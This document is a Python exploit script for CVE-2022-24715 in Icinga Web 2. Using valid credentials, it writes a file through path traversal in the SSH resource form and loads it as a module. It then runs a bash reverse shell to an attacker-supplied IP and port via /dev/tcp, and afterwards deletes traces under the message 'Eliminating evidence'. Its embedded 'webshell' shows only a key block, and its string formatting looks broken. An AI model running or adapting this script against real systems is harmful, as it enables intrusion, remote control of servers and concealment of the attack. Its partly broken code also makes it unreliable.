#!/usr/bin/env python3 # Exploit Title: Icinga Web 2.10 - Authenticated Remote Code Execution # Date: 8/07/2023 # Exploit Author: Dante Corona(Aka. cxdxnt) # Software Link: https://github.com/Icinga/icingaweb2 # Vendor Homepage: https://icinga.com/ # Software Link: https://github.com/Icinga/icingaweb2 # Version: <2.8.6, <2.9.6, <2.10 # Tested on: Icinga Web 2 Version 2.9.2 on Linux # CVE: CVE-2022-24715 # Based on: https://nvd.nist.gov/vuln/detail/CVE-2022-24715 import requests,argparse,re,random,string from colorama import Fore,Style def letter_random(): letras = string.ascii_lowercase character_random = random.choices(letras, k=6) return ''.join(character_random) def users_url_password(): parser = argparse.ArgumentParser(description='DescripciĆ³n de tu programa.') parser.add_argument('-u', '--url',type=str,required=True, help='Insertar la URL http://ip_victima') parser.add_argument('-U', '--user',type=str, required=True ,help='Insertar usuario -U user') parser.add_argument('-P', '--password',type=str, required=True ,help='Insertar contraseƱa -P password') parser.add_argument('-i', '--ip',type=str,required=True,help='Insertar IP de atacante -i IP') parser.add_argument('-p','--port',type=str, required=True,help='Insertar puerto de atacante -p PORT') args = parser.parse_args() url = args.url user = args.user password=args.password ip_attack = args.ip port_attack = args.port return url,user,password,ip_attack,port_attack def login(url,user,password): try: login_url = url + "/icingaweb2/authentication/login" session = requests.Session() r = session.get(login_url) csrf_regex = re.findall(r'name="CSRFToken" value="([^"]*)"',r.text)[0] data_post = {"username":user, "password":password, "CSRFToken":csrf_regex, "formUID":"form_login", "btn_submit":"Login" } response = session.post(login_url,data=data_post) if "Welcome to Icinga Web!" in response.text: print(f"{Fore.GREEN}[*]{Style.RESET_ALL}Session successfully.") r = session.get(login_url) else: print("[!]Failed to login.") exit(1) #return session,csrf_regex except requests.exceptions.InvalidURL: print(f"{Fore.YELLOW}[!]{Style.RESET_ALL} Error URL :(") exit(1) return session,csrf_regex def upload_file(session,url,character_random,csrf_regex): webshell = f"""-----BEGIN RSA PRIVATE KEY----- MIIBOgIBAAJBAKj34GkxFhD90vcNLYLInFEX6Ppy1tPf9Cnzj4p4WGeKLs1Pt8Qu KUpRKfFLfRYC9AIKjbJTWit+CqvjWYzvQwECAwEAAQJAIJLixBy2qpFoS4DSmoEm o3qGy0t6z09AIJtH+5OeRV1be+N4cDYJKffGzDa88vQENZiRm0GRq6a+HPGQMd2k TQIhAKMSvzIBnni7ot/OSie2TmJLY4SwTQAevXysE2RbFDYdAiEBCUEaRQnMnbp7 9mxDXDf6AU0cN/RPBjb9qSHDcWZHGzUCIG2Es59z8ugGrDY+pxLQnwfotadxd+Uy v/Ow5T0q5gIJAiEAyS4RaI9YG8EWx/2w0T67ZUVAw8eOMB6BIUg0Xcu+3okCIBOs /5OiPgoTdSy7bcF9IGpSE8ZgGKzgYQVZeN97YE00 -----END RSA PRIVATE KEY----- """%character_random upload_url = url + "/icingaweb2/config/createresource" r = session.get(upload_url) csrf = re.findall(r'name="CSRFToken" value="([^"]*)"',r.text)[0] data_post ={"type":"ssh", "name":"shm/"+character_random, "user":f"../../../../../../../../../../../dev/shm/{character_random}/run.php", "private_key":webshell, "formUID":"form_config_resource", "CSRFToken":csrf, "btn_submit":"Save Changes" } upload_response = session.post(upload_url,data=data_post) check = requests.get(url + f"/icingaweb2/lib/icinga/icinga-php-thirdparty/dev/shm/{character_random}/run.php") if check.status_code != 200 : print(f"{Fore.YELLOW}[!]{Style.RESET_ALL}Error uploading file. :(") exit(1) else: print(f"{Fore.GREEN}[*]{Style.RESET_ALL}File uploaded successfully.") def enable_module(session,url,character_random): url_module = url+"/icingaweb2/config/general" r_module = session.get(url_module) csrf_module = re.findall(r'name="CSRFToken" value="([^"]*)"',r_module.text)[0] data_post = {"global_show_stacktraces":"0", "global_show_stacktraces":"1", "global_show_application_state_messages":"0", "global_show_application_state_messages":"1", "global_module_path":"/dev/shm/", "global_config_resource":"icingaweb2", "logging_log":"none", "themes_default":"Icinga", "themes_disabled":"0", "authentication_default_domain":"", "formUID":"form_config_general", "CSRFToken":f"{csrf_module}", "btn_submit":"Save Changes" } resul = session.post(url_module,data_post) #-------------------------------------------------- url_enable = url +"/icingaweb2/config/moduleenable" r_enable = session.get(url_enable) csrf_enable = re.findall(r'name="CSRFToken" value="([^"]*)"',r_enable.text)[0] data_enable = {"identifier":f"{character_random}","CSRFToken":f"{csrf_enable}","btn_submit":"btn_submit"} resul_enable = session.post(url_enable,data_enable) def reverse_shell(session,url,ip_attack,port_attack,character_random): reverse_url = url + "/icingaweb2/dashboard" reverse_exe_one = reverse_url + f'?{character_random}=echo+"bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{ip_attack}%2F{port_attack}%200%3E%261"+>+/tmp/{character_random}' reverse_exe_two = reverse_url + f"?{character_random}=bash+/tmp/{character_random} &" reverse_response_one = session.get(reverse_exe_one) try: reverse_response_two = session.get(reverse_exe_two, timeout=5) except: print(f"{Fore.RED}[*]{Style.RESET_ALL}Eliminating evidence") remove = session.get(reverse_url + f"?{character_random}=rm+/tmp/{character_random}") disable_url = url + "/icingaweb2/config/moduledisable" r_disable = session.get(disable_url) csrf_disable = re.findall(r'name="CSRFToken" value="([^"]*)"',r_disable.text)[0] data_disable = {"identifier":f"{character_random}","CSRFToken":csrf_disable,"btn_submit":"btn_submit"} response_disable = session.post(disable_url,data=data_disable) def disable_module(session,url,character_random): url_disable = url + "/icingaweb2/config/moduledisable" if __name__ == '__main__': character_random = letter_random() url,user,password,ip_attack,port_attack = users_url_password() session,csrf_regex = login(url,user,password) upload_file(session,url,character_random,csrf_regex) enable_module(session,url,character_random) reverse_shell(session,url,ip_attack,port_attack,character_random)